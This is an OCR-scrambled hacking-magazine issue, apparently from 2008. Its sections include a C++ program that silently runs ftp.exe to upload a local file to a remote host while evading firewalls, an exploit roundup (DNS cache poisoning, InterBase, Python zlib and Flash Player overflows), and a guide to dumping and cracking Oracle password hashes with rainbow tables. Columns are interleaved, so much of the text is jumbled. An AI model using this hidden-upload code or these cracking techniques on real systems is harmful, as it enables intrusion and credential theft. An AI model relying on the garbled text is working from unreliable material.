if ( ($site_fd = fopen($site, "rt")) !== false) поточность, переписав его на перле. В общем, как добывать проксики
{ — решать тебе :).
№4
Задача: Написать простой loader на С++
показать вложенность директорий. Завершим создание переменной с пара-
метрами, используя com_file:
char param[128];
Решение: strcpy(param, "-s:");
Заливать файл на сервер будем по ftp при помощи стандартной виндовой strcat(param, com_file);
утилы ftp.exe. Процесс автоматизируем небольшой прогой на С++. Одно strcat(param, " ");
из преимуществ этого метода — обход криво настроенных файрволов, strcat(param, "my-host.com");
так как у большинства незадачливых владельцев «огнестенок» команд-
ная строка (через которую, собственно, и работает майкрософтовский В результате в переменной param получим: «-s:X:\WINDOWS\ftp_
фтп-клиент) находится в списке доверенных приложений. Вооружившись commands my-host.com».
компилятором, приступим к решению. 2. Начинаем общение с сервером. Путь до файла с командами определили, а с
1. При запуске ftp.exe программе необходимо передать два параметра: путь до самим файлом не поработали. Исправим это: запишем в него последователь-
файла с командами и имя (либо IP) хоста. Допустим, наиболее безопасным мес- ность команд, передаваемых ftp-шнику.
том для создания файла будет виндовая директория. Забросим в переменную
com_file путь вида X:\WINDOWS\ftp_commands: Великий и могучий
char com_file[256];
char m_dir[256];
GetWindowsDirectory(m_dir,sizeof(m_dir));
strcpy(com_file, m_dir);
strcat(com_file,"\\ftp_commands");
xàêåð 05 /113/ 08
045
>> взлом
ofstream of(com_file); of<<"mylogin"<<endl; 3. Воспользуемся функцией ShellExecute() для запуска ftp.exe. Третьим
of<<"mypass"<<endl; of<<"cd WWW"<<endl; of<<"send " << параметром покажем намерение запустить виндовый фтп-клиент, а четвертым
"D:\\WINDOWS\\regedit.exe" << " " << "regedit.exe" << передадим подготовленную строку с параметрами для него. Чтобы не беспо-
endl; of<<"quit"; of.close(); коить пользователя, укажем SW_HIDE — и консольный запуск ftp.exe пройдет
незаметно. Набираем:
Передаем логин и пароль. Строчкой «cd <имя_папки>» меняем директорию
(если требуется). Командой send (send <локальный_файл> <файл_на_ ShellExecute(0 ,NULL, "ftp", param, NULL, SW_HIDE);
сервере>) будет послан экзешник с редактором реестра. Ну а строчкой
«quit» попрощаемся с фтп-шником сервера. Готово. Компилируем, запускаем, проверяем ftp-сервер.
№5
Задача: Создать плацдарм для экспериментов на
яркие обои, оповещающие о включенном ShadowMode (настраивается
через Options Wallpaper). С этого момента можно выполнять любые
действия. Вот что было опробовано мною:
— копирование/удаление/изменение файлов;
рабочей Винде — инсталляция и деинсталляция программ;
Решение: — добавление/удаление разделов и значений реестра;
Отбросим в сторону скучные виртуальные машины, создание «слеп- — изменение параметров автозагрузки в msconfig;
ков», копий системы и использование соседского компьютера для — изменение параметров запуска и работы сервисов;
тестов необычного софта. Есть более дешевый в плане времени и сил — изменение сетевых настроек;
способ. — смена стиля Винды, обоев и скрытие панели задач;
1. Работать будем все с той же осью, приветственный экран которой — запуск практически безобидного троянчика
видим каждый день. Могу уверить, что все нижеописанное испробовал
лично и ничего с твоими форточками не случится. Итак, ставим почти Наигрался? Пора возвращать все на свои места. Находим в трее
бесплатную прогу ShadowUser Pro. Принцип работы основан на том, что ShadowUser и отключаем режим ShadowMode, выбрав Lose_All_
«слепок» системы не создается, а ведется четкая история ее изменений Changes и приняв предложение перезагрузиться. После перезаг-
(что экономит место на винте). рузки видим отсутствие любых изменений, внесенных при работе в
2. Выбираем Configuration на панели слева. Первая вкладка (Volumes) ShadowMode. Удобно? И не говори :).
предоставляет нам список дисков, за изменениями которых будем
следить. При тестах утил, которым мы не доверяем или не имеем
понятия об их направленности, лучше перестраховаться и выбрать All
Volumes. В противном случае какой-нибудь трой вольготно устроится
на незащищенном носителе и продолжит свое существование после
перезагрузки.
3. Следующая вкладка (Exclusion List) позволяет создавать список
папок, изменения в которых отменяться не будут. В папки будем скла-
дывать результаты работы (логи, конфиги — все, что угодно), которые
останутся нетронутыми при возврате к первоначальному состоянию
системы. Минимальная подготовка закончена, приступим к тестам.
4. Режим, в котором можно свободно экспериментировать, называется
«ShadowMode». Он запускается щелчком по кнопке Mode и выбором
Activate. Действовать режим начнет только после перезагрузки, о чем
будет выведено предупреждение. Перезагружаемся. Сразу заметны ShadowUser Pro
№6
Типичный цикл
№7
Заготовка для проведения злого сканирования
№8
1. Поставить поддержку Python на твой сервер.
2. Целиком и полностью довериться моему парсеру, который обраща-
ется к Google-группам по целевому хосту, выдирает из страниц ответа
ВСЕ возможные поддомены и... предоставляет их тебе! Не жизнь, а
сказка (скрипт, естественно, лежит на нашем DVD).
Задача: Собрать с одного хоста все поддомены 3. Наслаждаться моей добротой :).z
Решение:
Воспользоваться услугами domainsdb и прочими ресурсами — ва-
риант известный. Я же предлагаю принципиально новый, а главное,
действенный прием по разведке доступных поддоменов. В этом нам
помогут Google-группы (http://groups.google.com). Дело в том, что
Google индексирует сайты и их поддомены в качестве групп. Зачастую
туда попадают и отличные по контенту вещи. С помощью разумного
парсинга ты получишь желаемый результат. Итак, для успешной раз-
ведки тебе нужно: Все поддомены, принадлежащие одному хосту — как на ладони
xàêåð 05 /113/ 08
047
>> взлом
Обзор эксплойтов
Крис Касперски
После поток а интересных дыр неожид анно наст упило затишье. За последнее время
01
Microsoft щим DNS-серверам и кэширующие UK), ошибка никуда делась, и даже >> Targets
Windows полученные от них (или от хакера) самые последние версии Windows Вся линейка NT-подобных систем
ошибка ответы. Образовывался устойчивый подвержены угрозе атаки. Amit Klein по Висту включительно (32‑битные
DNS-клиента очаг заражения (poisoned DNS- подробно описал технику атаки в и 64‑битные редакции).
server) — пользователь, например, документе «Microsoft Windows DNS
>> Brief пытался разрешить доменное имя Stub Resolver Cache Poisoning» вме- >> Exploit
Microsoft продолжает радовать нас www.intel.com, а попадал на сервер сте с исходными текстами proof-of- Исходные тексты exploit’а можно
новыми и старыми дырами, перехо- злоумышленника, начиненный concept exploit’а: http://www.trusteer. найти в статье Amit Klein’а: www.
дящими из одной версии Windows в зловредными программами. Когда com/docs/Microsoft_Windows_ trusteer.com/docs/Microsoft_
другую. Первые атаки на DNS-прото- же ошибки в DNS-серверах были resolver_DNS_cache_poisoning.pdf. Windows_resolver_DNS_cache_
исправлены, хакеры переключились Ознакомившись с этим иссле- poisoning.pdf.
на атаки DNS-клиентов, что оказа- дованием, один из сотрудников
лось намного сложнее, поскольку Microsoft выразил в своем блоге >> Solution
типичная пользовательская машина резкое несогласие: blogs.technet. Установить на рабочей станции
генерирует сравнительно неболь- com/swi/archive/2008/04/09/ms08- свой собственный DNS-сервер
шое количество DNS-запросов в 020‑how-predictable-is-the-dns- (например, бесплатный SMALL
единицу времени. «Скормить» ей transaction-id.aspx. Ну а пока между HTTP), напрямую обращающийся
поддельный DNS-ответ не так-то ними идут разборки, дыра попала на к корневым DNS-серверам по
просто. Для этого необходимо знать Security Focus: www.securityfocus. TCP-протоколу, и заблокировать
IP-адрес оригинального DNS-сер- com/bid/28553/info. 53‑UDP порт на брандмауэре для
вера, номер UDP-порта источника
Microsoft упорно отказывается и 16‑битный идентификатор TXID
признавать наличие дыры! (Transaction ID). В силу высокой
предсказуемости двух последних
кол были зафиксированы в далеком значений атака на NT не представ-
1989 году и сводились к генерации ляла большой проблемы, о чем
подложного DNS-ответа, который, Microsoft узнала лишь в марте 2004
тем не менее, воспринимался жерт- года, исправив ошибку в W2K SP4 и
вой как подлинный «благодаря» XP SP2. Точнее, она думала, что ее
слабости механизма аутентифика- исправила... Согласно исследовани-
ции. Хакеры атаковали DNS-сервера ям Amit Klein (из компании Trusteer),
провайдеров или крупных и мелких Alla Berzroutchko (компания Scanit)
фирм, обращающиеся к вышестоя- и Roy Arends (компания Nominet Proof-of-concept exploit в текстовом редакторе
02
Borland пространства (Висла/Server 2008) Естественно, это приводит к пере- proof-of-concept exploit’а
InterBases передать управление на shell-код, полнению кучи. Дыра объявлена compMsg =
удален‑ скорее всего, не удастся, и жертва удаленной, хотя на самом деле zlib.compress(msg)
ное переполнение получит крах, ведущий к остановке она локальная. Момент требует bad = -24
буфера сервиса «InterBase ibserver». пояснений. Да, действительно, decompObj =
дыра локальна по своей природе zlib.decompressobj()
>> Brief >> Targets: и, чтобы добиться переполнения, decompObj.decompress
11 апреля 2008 года была обнаро- Уязвимость подтверждена в Borland необходимо вызывать функцию (compMsg)
дована информация о дыре в попу- Interbase 2007 SP2 (ibserver.exe flush(). Это можно сделать, только decompObj.flush(bad)
лярном сервере баз данных Borland version 8.0.0.123). Остальные если запускать Python-программы
InterBase, подверженном угрозе версии не проверялись, но, возмож- на целевой машине, для чего там >> Solution
удаленного переполнения буфера с но, они также уязвимы. должен быть установлен интер- Разработчики исправили ошибку, но
захватом управления. Ошибку обна- претатор языка, а хакеру — пре- пока только на SVN-репрозитории
ружил сотрудник Oracle Corporation, >> Exploit доставлен shell с возможностью (bugs.python.org/issue2586). Ждем-с
довольно известный (в узких кругах) Ниже приведен исходный код выполнения Python-программ. выхода очередной стабильной
специалист по безопасности Zhen proof-of-concept exploit’а, пере- Но даже при таком оптимистич- версии.
Hua Liu, живущий в своей норе на дающий управление на shell-код. ном раскладе злоумышленник не
04
побережье Redwood’а. Исследуя Его можно скачать по адресу: сможет завалить операционную Adobe
дизассемблерные внутренности www.securityfocus.com/data/ систему, а только запущенный Flash
файла ibserver.exe, он обратил vulnerabilities/exploits/28730.pl. экземпляр интерпретатора. Или Player
внимание на отсутствие проверки (в идеале) захватить управление удаленное перепол‑
длины переданных пользователем >> Solution системой без превышения уровня нение буфера
данных перед их копированием в Производитель еще никак не
локальный буфер. Это подтверждает отреагировал на сообщение о дыре
код, снабженный комментариями и когда появится «лекарство» в виде
(ищи его на DVD). заплатки — неизвестно. Особо озабо-
Мы имеем дело с классическим ченные проблемой могут пропатчить
стековым переполнением (буфер- код ibserver.exe, воткнув туда
приемник находится в стеке), со несколько машинных команд для вы-
всеми вытекающими. На системах полнения проверки границ буфера.
с исполняемым стеком мы запросто
можем подменить адрес возврата Python
03
из функции, передав управление на удаленное
shell-код. На системах с неиспол- переполне‑
няемым стеком — XP SP2/Server SP1 ние буфера
и выше при наличии аппаратной в библиотеке zlib
поддержки со стороны ЦП — при ак-
тивном DEP’е мы можем реализовать >> Brief
атаку типа return2libc (по умолчанию Хакер Justin Ferguson из IOActive
DEP защищает только системные Security Advisory 9 апреля этого
компоненты). Название, кстати, года обнародовал обнаруженную Платите $1450 и получайте статус CANVAS Professional с полным доступом к
пришло из мира UNIX, в Windows им дыру в популярной библиотеке исходному коду сотен exploit’ов!
xàêåð 05 /113/ 08
049
>> взлом
>> Targets
Adobe Flash Player 8.0.34.0/8.0.35.0/9/9.0.115.0/9.0.28.0/9.0.31.0/9.0.45.0/
9.0.47.0/9.0.48.0 (дистрибутивы RedHat Enterprise Linux Desktop/RedHat
Enterprise Linux Extras/RedHat Enterprise Linux Supplementary server/
S.u.S.E. Linux 10.1 ppc/S.u.S.E. Linux 10.1 x86/S.u.S.E. Linux 10.1 x86-64/
S.u.S.E. Novell Linux Desktop 9/S.u.S.E. openSUSE 10.2/S.u.S.E. openSUSE
10.3 и другие).
>> Exploit
Proof-of-concept exploit доступен только подписчикам «Immunity CANVAS
Early Update Program». Членство обойдется в $1450 на 3 месяца (продление
стоит $730 в квартал). Подробности: www.immunityinc.com/products-canvas.
shtml.
>> Solution
Производитель уже выпустил Flash Player 9.0.124.0, свободный от
ошибки переполнения, а для старых версий доступно бесплатное
обновление, выложенное на www.adobe.com/support/security/bulletins/
apsb08-11.html. Однако, ни новая версия, ни обновление не исправля-
ют всех ошибок. Проверка поля SceneCount на отрицательное значение
появилась (какое огромное достижение, вах!), но дефекты виртуаль-
ной AVM-машины как были, так и остались. По-прежнему возможен
обход верификатора байт-кода и прочие трюки, которым планируется
посвятить отдельную статью. В этом обзоре (в связи с ограничениями
по объему) мы рассмотрим непосредственно саму ошибку знакового
переполнения.
Структура SWF-файла
Full disclose
Для анализа дыры в Flash-player’е, помимо самого плеера (который
>> Brief уже наверняка установлен в системе), нам понадобится специфи-
9 апреля 2008 года Mark Dowd из исследовательского подразделе- кация на SWF/FLV-файлы, последнюю редакцию которой (на мо-
ния ISS X-Force, входящего в состав корпорации IBM, совместно с мент написания этих строк — 9’ю), можно скачать с сервера фирмы
хакером wushi из группы team509 обнаружили и опубликовали дыру Macromedia: download.macromedia.com/pub/flash/licensing/file_
в Adobe Flash Player, работающем под управлением операцион- format_specification_v9.pdf.
ной системы Linux. Для реализации атаки достаточно «скормить» Осторожно! При первом открытии pdf-файла эта сволочь лезет в Сеть, пере-
жертве специальным образом сконструированный swf-файл (скажем, давая наши данные и запрашивая сертификат. Для сохранения инкогнито
заманив на web-страничку или послав файл почтой). Главное, чтобы рекомендуется воспользоваться брандмауэром. Спустя какое-то время
Adobe Flash Player был установлен! Ошибка носит системно-незави- Adobe Acrobat Reader сменит гнев на милость и отобразит содержимое спе-
симый характер, хотя, с учетом различий реализаций под Windows и цификации, предварительно «выплюнув» на экран противный NAG-Screen
Linux, для каждой конкретной платформы требуется свой swf-файл с текстом лицензионного соглашения и стандартными кнопочками «Agree»
с умышленно искаженным полем DefineSceneAndFrameLabelData. (Принять) и «Disagree» (Послать на :)).
SceneCount, содержащим количество «сцен», которые необходимо Структура SWF-файлов состоит из последовательности различных
считать из файла. SceneCount представляет собой двойное знаковое объектов: фигур, звуков, шрифтов, текста, etc. Все они обрабатыва-
слово, но проверка на отрицательное значение не выполняется, и ются вполне корректно (дефектов реализации нет или таковые еще
хакер получает возможность модифицировать любую (ну, или практи- не найдены). Но вот структура DefineSceneAndFrameLabelData,
чески любую) ячейку адресного пространства внутри процесса. Это описывающая сцену (Scene), подвержена целочисленному знаковому
открывает широкие горизонты для атак, особенно с учетом того, что переполнению.
Adobe Flash Player не использует возможности рандомизации адрес- Рассмотрим структуру DefineSceneAndFrameLabelData более под-
ного пространства, предоставляемые Вистой и некоторыми версиями робно. Как видно, она включает в себя массив сцен Scenes. Их количество
Linux’а. Для захвата управления машиной (с привилегиями Flash задано в переменной SceneCount типа unsigned int32 (беззнаковое
Player’а) было бы достаточно перезаписать указатель на функцию двойное слово), которая лежит рядом с массивом.
или подменить адрес возврата, но Mark Dowd пошел намного более
крутым и радикальным путем, атаковав виртуальную flash-машину, Теговая структура DefineSceneAndFrameLabelData
интерпретирующую байт-код и известную под именем ActionScript (tag ID 0x56), подверженная целочисленному знаковому
Virtual Machine (или, сокращенно, AVM). Достоинство такого подхода, переполнению
во-первых, в его новизне, а, во-вторых, в системной независимости. // вспомогательные структуры
Байт-код виртуальной машины не привязан к конкретной платформе, SceneData
и потому однажды сконструированный exploit не нужно переписы- {
вать под всю процессорную линейку, на которой только реализован UI32 FrameOffset
Adobe Flash Player: x86, x86-64, PPC, etc. Подробнее об этом можно String SceneName
прочитать в статье Mark’а Dowd’а — «Application-Specific Attacks: }
Leveraging the ActionScript Virtual Machine», доступной всем же- FrameData
лающим: documents.iss.net/whitepapers/IBM_X-Force_WP_final.pdf. {
Также рекомендуется посетить Security Focus: www.securityfocus. UI32 FrameNumber
com/bid/28695. String FrameLabel
xàêåð 05 /113/ 08
051
>> взлом
Степан
sh2kerrИльин
Login: / STEP@GAMELAND. RU/
Login:
Pasword: Pasword:
Login:
Pasword:
Login:
Pasword:
Запароленная
власть
Щелкаем пароли от Oracle, как орешки
е всегда доступ к базе данных мы получаем с правами админи- Как известно, многие админы зачастую имеют одинаковые пароли на
Н стратора (DBA). Бывают ситуации, когда локальных эксплоитов, доступ к различным серверам и приложениям. Тогда что же мешает рас-
повышающих привилегии до роли DBA, нет, а удаленно пароль шифровать пароль администратора СУБД Oracle, тем более, что это бывает
к системному пользователю не спешит подбираться. Или, пред- намного проще, чем расшифровывать пароль на операционную систему?
положим, ты получил права администратора в СУБД, но не знаешь его пароль,
а узнать очень хочется, так как он, вероятно, может подойти на ssh-доступ к Хранение паролей
серверу или к другим СУБД в компании. Что делать в таких случаях? Первое, Сегодня мы изучим алгоритм хранения паролей в СУБД Oracle и научимся
что приходит на ум — получить доступ к хэшам паролей и попытаться их рас- ломать эти пароли. Сначала рассмотрим старый алгоритм. В СУБД Oracle
шифровать. Рассмотрим, в каких ситуациях нам могут помочь хэши паролей. до 11 версии пароли пользователей хранятся в таблице dba_users. На
1. Один из самых распространенных вариантов — получение доступа к базе деле они хранятся в системной таблице SYS.USER$, а таблица DBA_USERS
данных через SQL-инъекцию в WEB-приложение, которое использует эту — лишь представление (VIEW) для вышеуказанной системной таблицы, но
СУБД. Есть вероятность, что пользователь, от имени которого идут запросы эти особенности не критичны. Итак, у нас есть доступ к таблице DBA_USERS.
к СУБД, имеет доступ на чтение таблицы с паролями. Чтобы достать из нее пароли, можно воспользоваться несложным запросом:
2. Возможен случай удаленного получения доступа к консоли СУБД пользо-
вателем, у которого по умолчанию есть доступ на чтение таблицы с хэшами SQL> select username, password from DBA_USERS;
паролей (права SELECT ANY DICTIONARY), но нет роли DBA. Тем самым, рас-
шифровав пароль, мы получим права DBA в базе данных, а также сможем Как мы видим на рисунке, поле Password содержит хэш пароля, состоящий
попытаться использовать подобранный пароль на другие сервисы. из 8 байт. Что же за алгоритм используется для хранения паролей?
3. Доступ к хэшам паролей можно получить, найдя уязвимость класса
PL/SQL Injection в функции или процедуре, которая исполняется от имени Алгоритм шифрования паролей
пользователя с правами SELECT ANY DICTIONARY, позволяющими читать Алгоритм шифрования паролей в СУБД Oracle был до поры до времени не-
системные таблицы. Одна из таких уязвимостей была найдена мной, и экс- известен, пока в публичных источниках не появилась работа «Assessment
плоит к ней можно отыскать по адресу http://milw0rm.com/exploits/4995. of the Oracle Password Hashing Algorithm» авторов Joshua Wright и Carlos
Pasword: Pasword:
Выборка паролей из таблицы DBA_USERS Документ «Assessment of the Oracle Password Hashing Algorithm»
Ci. В ней был подробно описан алгоритм шифрования паро- строке СУБД Oracle оказывается, что мы можем использовать
лей в Oracle. Детальная информация предоставлена в статье далеко не все символы. Рассмотрим на примере.
по адресу: http://www.isg.rhul.ac.uk/~ccid/publications/
oracle_passwd.pdf. SQL> create user test01 identified by abc123_
Алгоритм шифрования паролей в СУБД Oracle был задей- $#;
ствован чуть ли не с первых версий и не менялся вплоть до dvd
недавней версии 11G. Сам алгоритм оказался не таким уж и User created. На диске ищи все
сложным. Вот как работает генерация хэша: упомянутые в статье
• происходит конкатенация имени пользователя и пароля SQL> create user test02 identified by 123abc#_ программы, а также
— если у нас есть пользователь с именем SYS и паролем $; увесистый документ по
test1, то мы получаем строку SYStest1; create user test02 identified by 123abc#_$ организации криптоал-
• далее вся строка преобразовывается к верхнему регистру, * горитмов в Oracle.
и мы получаем SYSTEST1; ERROR at line 1:
• если в ОС используется однобайтовая кодировка, то каж- ORA-00988: missing or invalid password(s)
дый символ преобразовывается в двухбайтовый, заполнив
старший байт нулями (0x00);
• получившаяся строка (дополненная нулями до длины бло- SQL> create user test02 identified by _123abc;
ка) шифруется алгоритмом DES в режиме CBC с фиксирован- create user test02 identified by _123abc
ным ключом, значение которого — 0x0123456789ABCDEF; *
• полученная строка шифруется еще раз с помощью DES- ERROR at line 1: warning
CBC, но используя последний блок предыдущего шага как ORA-00911: invalid character Внимание! Инфор-
ключ шифрования. мация представлена
Теперь перечислим недостатки алгоритма, которые помогут SQL> create user test02 identified by исключительно с
нам при взломе. abc123^*; целью ознакомления!
1. В качестве соли (salt) используется предсказуемое значе- create user test02 identified by abc123^* Ни автор, ни редакция
ние, а именно — имя пользователя. Это дает нам возможность * за твои действия ответ-
использовать предварительно сгенерированные таблицы для ERROR at line 1: ственности не несет!
расчета пароля (rainbow tables), тем самым увеличив скорость ORA-00922: missing or invalid option
перебора паролей в разы.
2. Исходный словарь символов, используемых для генерации SQL> create user test02 identified by
пароля, первоначально составляет 256 символов. Так как "^*abc?";
введенный пароль преобразовывается к верхнему регистру,
то алфавит сужается до 256-26=230 символов. На самом деле User created.
символов еще меньше, так как операция UPPER() действует
не только для символов латинского алфавита. В итоге мы по- Часть паролей, которые мы пытались задать, не подходит (вы-
лучаем алфавит из 164 символов, каждый из которых можно дается сообщение «ORA-00911: invalid character»). Из
использовать при генерации пароля (более подробно, откуда всего этого можно сделать простые выводы:
появилась эта цифра можно прочитать на форуме http://www. 1. Доступные в пароле символы — это латинский алфавит (26),
petefinnigan.com/forum/yabb/YaBB.cgi?board=ora_sec;a цифры (10) и спецсимволы _,#,$ (3), всего — 39 символов.
ction=display;num=1131556773). Но это все в теории, а на 2. В качестве первого символа пароля могут использоваться
практике при создании нового пользователя в командной только буквы.
xàêåð 05 /113/ 08
053
Login: Login: Login: Login:
Сравнение скоростей перебора паролей разными программами Запуск orabf и woorabf на core 2 duo 2.4 ГГц
3. Чтобы создать пароль с другими спецсимволами, необходимо заключать Тут существует два способа. Первый — сгенерировать таблицы самому,
пароль в двойные кавычки, как показано в последнем примере (но этой второй — скачать в Сети. Плюсы второго способа очевидны: не надо тратить
возможностью на практике пользуются редко). время на генерацию таблиц, что может занять годы на среднестатистиче-
ском компьютере. Хотя минусы тоже есть — не у всех интернет позволяет
Собственно, подбор выкачать 30-60 Гб таблиц. Преимущество генерации своих таблиц на самом
Итак, учитывая, что на практике редко кто использует пароли не из диапа- деле только одно — ты сможешь использовать необходимый тебе набор
зона 39 символов, задача подбора существенно упрощается. Теоретически символов и параметры таблицы.
паролей из 8 символов может быть 26*39^7= 3.6 *10^12 комбинаций.
Если посмотреть сравнение скоростей перебора паролей (http://www. Oracle Rainbow Tables
red-database-security.com/whitepaper/oracle_passwords.html), можно Что касается rainbow таблиц для СУБД Oracle, я так и не нашел их в интер-
увидеть, что самый быстрый переборщик работает со скоростью примерно нете в свободном доступе, чему в общем-то не особо огорчился, так как
миллион паролей в секунду на среднем компьютере (на core 2 duo 2.4 ГГц было желание сгенерировать их самому. Генерировать я решил, используя
удалось добиться максимальной скорости перебора — 1.6 млн паролей программу winrtgen, входящую в состав небезызвестного cain&abel. Выбор
в секунду при помощи утилиты woraauthbf, которая умеет использовать пал на нее, потому как в ней все просто и удобно.
многоядерные процессоры). Для начала разберемся с параметрами. Их немного:
Получается, чтобы перебрать 8‑символьный пароль на стандартном Hash — алгоритм генерации хэш функции. В данном случае — oracle.
рабочем компьютере, нам понадобится около 40 дней. И то — если пере- Min Len — минимальная длина пароля, обычно 0.
борщик знает, что первый символ может состоять только из букв, иначе Max Len — максимальная длина пароля; возьмем для начала 7.
и вовсе понадобится два месяца. Не слишком утешающие цифры, тем Index — идентификатор для группы таблиц (таблицы с разным индексом
более, что столько времени мы будем подбирать пароль только для одного содержат разные данные). Пока оставим как есть.
пользователя — ведь для генерации хэша используется соль (salt). Ну а Chain Len — длина цепочки. Повышение длины отрицательно влияет на
если пароль состоит из 9 символов, то тут счет будет вестись уже на года. время генерации таблицы и время криптоанализа, зато повышает вероят-
Но отчаиваться не стоит, всегда найдутся методы, позволяющие получить ность подбора. Не желательно выставлять более 20000. Оставим пока 2400.
результат быстрее. Chain Count — грубо говоря, размер таблицы на диске. Если оперативной
памяти больше 1 Гб, то выставляется 67018864, так как при расшифровке
Rainbow Tables таблица будет загружаться в оперативную память и желательно, чтобы она
При генерации хэша пароля в СУБД Oracle используется дополнительный поместилась целиком. Обычно больше 1Гб таблицы не делают. Для начала
параметр (salt), который, теоретически, должен предотвращать атаки оставим значение по умолчанию.
посредством создания заранее сгенерированных таблиц для быстрого N of Tables — количество таблиц. Соответственно, чем больше таблиц, тем
перебора паролей (rainbow tables). Но раз соль (salt) нам известна заранее больше вероятность перебора, но их дольше генерировать и необходимо
(исключения составляют случаи, когда известен только хэш, но на практике иметь достаточно места для их хранения. По умолчанию — одна таблица.
это бывает крайне редко), значит, мы можем сгенерировать rainbow tables Charset — набор символов, используемый в пароле. Мы будем использо-
для распространенных имен пользователей. Есть смысл генерировать вать стандартный для Oracle 39 символьный набор, приведенный в начале
таблицы для пользователей SYS и SYSTEM, так как они есть в каждой СУБД статьи.
и имеют по умолчанию права администратора (DBA). Username — имя пользователя. Используется как раз для Oracle паролей. В
С теорией Rainbow tables, думаю, ты знаком по прошлым номерам журнала нашем случае будем генерировать для пользователя SYSTEM.
или читал в инете. На этом я останавливаться не буду, лучше расскажу, С описанием вроде закончили, теперь приступим к генерации. Если
как создавать и использовать таблицы применительно к взлому паролей выставить значения, как указано выше, то вероятность подбора (Success
Oracle. probability) будет равняться 44 процентам, что нас совсем не устраивает.
По-хорошему, приемлемая вероятность должна быть около 99 Чтобы распараллелить работу над созданием таблиц, надо
процентов, хотя это зависит от ситуации. Для повышения ве- просто скопировать часть этих строк на другой компьютер
роятности подбора я предлагаю просто увеличить количество в файл tables.lst и запустить на нем утилиту winrtgen.
таблиц хотя бы до 8 (99,00) а лучше до 12 (99,91). Подсчитаем Единственный важный момент — используемый сharset дол-
время генерации (кнопка Benchmark) и получим что-то около жен быть прописан на каждом компьютере в файле charset.
24 дней на стареньком Intel Celeron 2.4. Время подбора пароля txt путем добавления специальной строки с набором сим- video
по таблице составит около 1 минуты: заметно лучше, чем два волов. Причем, их порядок должен быть одинаковым, иначе На DVD смотри позна-
с половиной дня при взломе методом полного перебора. таблицы окажутся несовместимы. Конфиг-файл charset. вательный видеоурок,
Правда, нам придется потратить 25 дней на генерацию этих txt должен выглядеть примерно так (последняя строка опи- который раскрывает
таблиц, зато потом пароли можно щелкать, как орешки (увы, сывает чарсет oracle): всю правду о мнимой
только 7‑символьные). защищенности паро-
«Есть ли возможность ускорить процесс?», спросишь ты. И я # charset configuration file for winrtgen v1.2 лей в Oracle.
отвечу — конечно же, если генерировать таблицы не в одиноч- by Massimiliano Montoro ([email protected])
ку, а группой людей, как это делалось и делается до сих пор для # compatible with rainbowcrack 1.1 and later by
LM/NTLM/MD5‑хэшей на сайте www.freerainbowtables.com. Zhu Shuanglei <[email protected]>
Так можно значительно ускорить процесс. Быстрее сгене-
рировать таблицы можно и в одиночку, используя несколько byte = []
компьютеров. Вся прелесть в том, что таблицы можно генери- alpha = [ABCDEFGHIJKLMNOPQRSTUVWXYZ]
ровать независимо на разных компьютерах. Утилита winrtgen, alpha-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ ]
после того как ты укажешь все необходимые параметры, .
создает конфигурационный файл с именем tables.lst. Вот .
его содержимое для нашего примера: .
oracle = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0
oracle_oracle#1-7_0_2400x67108864_ 123456789_#$]
SYSTEM#000.rt;
oracle_oracle#1-7_0_2400x67108864_ Теперь можно раскидать по одной таблице на каждый компью-
SYSTEM#001.rt; тер, и общее время генерации существенно уменьшится. Что
oracle_oracle#1-7_0_2400x67108864_ касается многоядерных процессоров, то утилита по умолча-
SYSTEM#002.rt; нию их не поддерживает, но ничто не мешает нам создать две
oracle_oracle#1-7_0_2400x67108864_ папки с программой winrtgen, переименовать экзешники в
SYSTEM#003.rt; winrtgen1.exe и winrtgen2.exe и запустить параллельно
oracle_oracle#1-7_0_2400x67108864_ генерацию таблиц на разных ядрах (прописав разные таблицы
SYSTEM#004.rt; заранее в tables.lst).
oracle_oracle#1-7_0_2400x67108864_ Все описанные выше действия я провел на доступных
SYSTEM#005.rt; мне компьютерах и получил в итоге 12 таблиц общим
oracle_oracle#1-7_0_2400x67108864_ размером чуть более 7 Гб. Для проверки работоспособ-
SYSTEM#006.rt; ности таблиц я собрал хэши нескольких SYSTEM пользо-
oracle_oracle#1-7_0_2400x67108864_ вателей и запустил перебор по созданным таблицам. В
SYSTEM#007.rt; итоге 2 из 3 хэшей подобрались; общее время, затрачен-
xàêåð 05 /113/ 08
055
>> взлом
имур Бекмамбетов, который когда-то давно начинал малень- ральных ВУЗов. А в любительском конкурсе могут принять участие все
Т кими короткометражками, затем занимался роликами для желающие, в том числе и ты! Для того чтобы стать участником, необходимо
известных телеканалов. Недавно же он завершил картину до 15 июня 2008 года отснять материал и разместить готовый фильм в
с участием Анжелины Джоли и бюджетом $65 миллионов, а Интернете на специальном сайте фестиваля
это самый дорогой кинопроект, которым когда-либо управлял человек, www.mobilkinofest.ru.Еще удобнее сделать это с WAP-портала «МТС-
говорящий по-русски. Сити» (wap.mtscity.ru), с его помощью абоненты МТС могут загружать
Теперь и тыполучил шанс показать себя, реализовывать свои идеи. свои фильмы на сайт фестиваля прямо со своего мобильного телефона.
Компания МТС и Союз кинематографистов России решили дать тебе такой Все фильмы, участвующие в любительском конкурсе, будут доступны для
шанс и запустили «Фестиваль Мобильного кино». Проект уникальный. просмотра на сайте www.mobilkinofest.ru, а каждый посетитель сможет
Это первый открытый международный фестиваль короткометражных принять участие в онлайн-голосовании. По его результатам будут опреде-
фильмов для профессионалов и любителей. Фильмы могут быть сняты на ляться претенденты на победу.
любые видеокамеры: начиная с тех, что встроены в мобильные телефоны, Словом, если ты давно вынашиваешь идею отснять классный материал,
и заканчивая профессиональными. При хронометраже порядка 10 минут показать всем на что ты способен, самое время позвать друзей и начать
фильм должен иметь сюжетную линию, заставляющую зрителей заду- съемки. Наконец у тебя есть шанс получить оценку не просто от приятелей
маться, сопереживать, радоваться. Это фильм с собственной атмосферой, и пользователей Интернет, но, самое главное, от авторитетного жюри,
яркой идей и ее творческой реализацией — то, чем и славятся любитель- состоящего из признанных мэтров киноискусства.
ские миниатюры. Когда еще будет такая возможность? Это отличный шанс для тебя!
В рамках фестиваля пройдут два конкурса: профессиональный и люби- Ты можешь прославиться и выиграть классные призы: годовое подключе-
тельский. В профессиональном конкурсе участвуют фильмы начинающих ние на безлимитный тариф МТС и современный ноутбук.
режиссеров, студентов и выпускников кинематографических и теат-
>> взлом
В горячем
сердце
файрвола
Взлом портала популярного брандмауэра
